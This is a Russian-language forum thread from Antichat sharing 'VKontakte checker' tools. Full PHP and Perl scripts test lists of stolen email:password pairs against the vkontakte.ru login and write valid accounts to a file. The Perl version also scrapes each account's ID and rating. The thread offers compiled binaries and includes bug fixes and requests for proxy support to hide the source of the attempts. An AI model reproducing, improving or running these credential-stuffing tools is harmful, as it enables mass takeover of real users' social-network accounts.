Форум АНТИЧАТ - VKontakte checker

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - VKontakte checker (https://forum.antichat.xyz/showthread.php?t=72080)

VKontakte checker

[ VKontakte checker ]

Наверно самый простой чекер для vkontakte.ru, он проверяет аккаунты на валидность и положительный результат записывает в файл.

Список аккаунтов должен находиться в accounts.txt
Результат будет в good.txt
Отделение от почты и пароля точка с запятой. ( my@mail.ru;password )

Качаем:
http://slil.ru/25848279
http://ifolder.ru/control/?file_id=6786993&code=88c0db639fdf36418d763ad7c966 a6d0
http://dump.ru/file_catalog/379934.aspx

Написан на PHP скомпилирован bamcompile
P.s: Only for Windows.

спасибо большое,

а зах компилить было можно вопрос??
Или типа это мега супер приват?!

какая хер разница писал он делает что хочет

А нет ли похожей штуки, только чтобы он проверял базу мыл и скидывал только те что есть на вконтакте, а не уже сбрученные?

Эх

PHP код:


		
			
<?php 

#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| 

#&------------------------------- 

#&     ВКонтакте АККчекер    0.1 

#&     VKontakte ACCchecker  0.1 

#&     By NNNS::[icq: 474374]  

#&     All lefts reserved. 

#&------------------------------- 

#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-| 



# Отключаем ограничение на время выполнения скрипта 

set_time_limit(0); 

# User Agent 

$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12";  

# Файл с аккаунтами 

$acclist = "accounts.txt"; 

# Файл с валидными аккаунтами 

$vallist = "valid.txt"; 

# Помещаем аккаунты в массив 

$account = file($acclist); 

# Рабочие аккаунты 

$valid   = 0; 

# Нерабочие аккаунты 

$invalid = 0; 



function vkCheck($email,$pass) {  

    # Открываем сокет 

    $fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);  

    # Отправляем заголовки 

    $out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";  

    $out .= "Host: vkontakte.ru\r\n";  

    $out .= "User-Agent: ".$user_agent."\r\n";  

    $out .= "Cookie: income=1\r\n";  

    $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";  

    fwrite($fp,$out);  

    # Записываем ответ сервера в переменную 

    $ans=fgets($fp,128);  

    # Закрываем сокет 

    fclose($fp);  

    # Если 302 найден, значит акк валидный 

    if(preg_match("/\b302 Found\b/is", $ans)) { 

        return true; 

    } else { 

        return false; 

    } 

} 

# Запускаем цикл 

for($i=0;$i<count($account);$i++) { 

    # Удаляем симолы перевода строки 

    $caccaunt          = str_replace("\r\n","",$account[$i]); 

    # Разбиваем на e-mail и пароль 

    list($email,$pass) = explode(";",$caccaunt); 

    # Вызываем функцию проверки аккаунта 

    $answer            = vkCheck($email,$pass); 

    # Если аккаунт рабочий, записываем его в файл 

    if ($answer == true) { 

        $fd = fopen($vallist,"a+"); 

        fputs($fd,$account[$i]); 

        fclose($fd); 

        $valid++; 

    } else { 

        $invalid++;     

    } 

} 

# Выводим результат 

echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid; 

?>

перекомпилировать может даже ребенок.

mouse.pro - поправь ссылку на ifolder - а то ты скинул на упраление файлом)) Вот правленная - http://ifolder.ru/6786993 P.s. Срок продлил! :)

А можно его переписать - чтобы можно было через прокси его подключить!? А то я к нету через прокси подключен....

Еще неплохо бы видеть прогресс чека....А то Loading и все =(

Цитата:

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

Чекер на перле.выводит еще и рейтинг + ид
Update:
хм когда код вставляешь как пхп код то обратные слэшы режуться )
странно

ек, за перловку спасибо.
небольшой еррор -
Global symbol "$passn" requires explicit package name at vcheck.pl line 31.
Execution of vcheck.pl aborted due to compilation errors.

passn вместо pass

и в 36 заменить -

Код:

print OUT $res.":".$idd.":".$mail.":".$pass."n";

на

Код:

print OUT $res.":".$idd.":".$mail.":".$pass."\n";

исправил ) просто если его вставить как пхп то обратные слешы режуться )

Ребят, а есть чекер работающий через проски или с хоста!?

Чекер не работает!
Loading.... и больше ничего(

какой именно?*
перловый вчера проверял!

Цитата:

Сообщение от AlexV

Ребят, а есть чекер работающий через проски или с хоста!?

Что тебе мешает запустить скомпилированный скрипт из первого поста, например из под FreeCap.

Цитата:

Сообщение от mouse.pro

[ VKontakte checker ]

Наверно самый простой чекер для vkontakte.ru, он проверяет аккаунты на валидность и положительный результат записывает в файл.

Список аккаунтов должен находиться в accounts.txt
Результат будет в good.txt
Отделение от почты и пароля точка с запятой. ( my@mail.ru;password )

Качаем:
http://slil.ru/25848279
http://ifolder.ru/control/?file_id=6786993&code=88c0db639fdf36418d763ad7c966 a6d0
http://dump.ru/file_catalog/379934.aspx

Написан на PHP скомпилирован bamcompile
P.s: Only for Windows.

У кого-нить работает этот чекер???

Цитата:

FreeCap.

Уточни за что FreeCap!?

Цитата:

У кого-нить работает этот чекер???

Да работает! Но не через прокси! А у меня есть возможность подключения к нету - только через прокси! Please, кто-нить добавьте опцию подключения по прокси!

он тормознутый какой то не юзаю его...

Цитата:

он тормознутый какой то не юзаю его...

А чем ты пользуешься?

родным dx'овским

Цитата:

родным dx'овским

Да, но он же через прокси не работает?!

PHP код:


		
			
#!/usr/bin/perl

# VKONTAKTE cheker

# Original author Xszz.AoH

# Modified by svesve

# tnx to a4at members who help me with perl ;-)

use strict;

use LWP::UserAgent;



use HTTP::Cookies;



open (FILE , '<logs.txt');

my @f = <FILE>;

chomp @f;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);

open (OUT , '>>IDS_rate.txt');

while (@f)

{

my ($mail, $pass) = split(/:/, shift(@f));



my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;

my $suc = $req =~ /302 Found/;

if ($suc )

{

$req = $ua->get('http://vkontakte.ru/index.php')->as_string;

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;

my $idd=$2;

$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;

my $res = $1 if $req=~m/width:100px">(.{1,4})</;

print "[rate=$res]:[id=$idd]:$mail:$pass\n";

if (!$idd)

{

print "Account deleted \n";

}

print OUT $res.":".$idd.":".$mail.":".$pass."\n";

}

else{print"[-]bad login or password \n";}

}

close OUT;

close FILE;

чекер рейтинга

только как его запустить? файлы logs и IDS_rate создал, скрипт сохранил как 1.pl, запускаю и он сразу закрывается

там кажись в файл logs.txt надо акки писать mail:pass ...

Чёт я не фкурил.Заменил в сорсах в explode(";") на explode(":");,и акки стали записываться в valid.txt,а не в goods.txt

Проблему решил,перекодировав все файлы вида логин:пароль в логин;пароль.Извиняюсь за тупость:Д